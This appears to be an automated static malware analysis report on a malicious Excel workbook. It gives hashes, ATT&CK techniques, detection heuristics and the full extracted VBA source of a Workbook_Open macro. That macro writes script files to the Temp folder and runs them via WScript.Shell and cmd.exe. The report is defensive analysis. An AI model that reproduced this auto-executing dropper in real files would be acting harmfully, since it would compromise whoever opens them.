Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 76fef74fd5b4d5a3…

MALICIOUS

Office (OOXML)

16.2 KB Created: 2018-07-18 10:25:35 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2019-05-31
MD5: 44bf073f88b9a58f8b570c7d4f047543 SHA-1: 6a283d632750befaf9029034a0fd8613f4ab6a2f SHA-256: 76fef74fd5b4d5a3f2d521ae2287bf3954bbe07c68073595325571cd36677ba5
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open VBA macro. This macro writes two scripts to disk: a VBScript and a PowerShell script. It then executes the VBScript using wscript.exe, which in turn executes the PowerShell script. The PowerShell script is designed to download and execute a second-stage payload, indicated by the use of WScript.Shell and cmd.exe to run PowerShell with execution policy bypass. The presence of a Workbook_Open macro and the execution of external scripts strongly suggest a malicious intent to download and run further malware.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Set wsh = VBA.CreateObject("WScript.Shell")
        wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Set wsh = VBA.CreateObject("WScript.Shell")
        wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
        Dim fso As FileSystemObject

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1237 bytes
SHA-256: b5137eca195c887c77ff14e6f159a7179c8a23f8bc0b35f571cf01296424f00f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim fso As FileSystemObject
    Set fso = New FileSystemObject
    Dim stream As TextStream
    Set stream = fso.OpenTextFile("C:\Windows\Temp\vbavbstest.vbs", ForWriting, True)
    stream.WriteLine ActiveSheet.Cells(8, 8).Value
    Set stream = fso.OpenTextFile("C:\Windows\Temp\vbaps1test.ps1", ForWriting, True)
    stream.WriteLine ActiveSheet.Cells(9, 9).Value
    stream.Close
    
    'MsgBox (ThisWorkbook.Path)
    
    Dim wsh As Object
    Set wsh = VBA.CreateObject("WScript.Shell")
    wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22528 bytes
SHA-256: bb2ae856169ab5ea21fa257fb9e2efefe93ca06755319ae275e1b2d9ebe8f180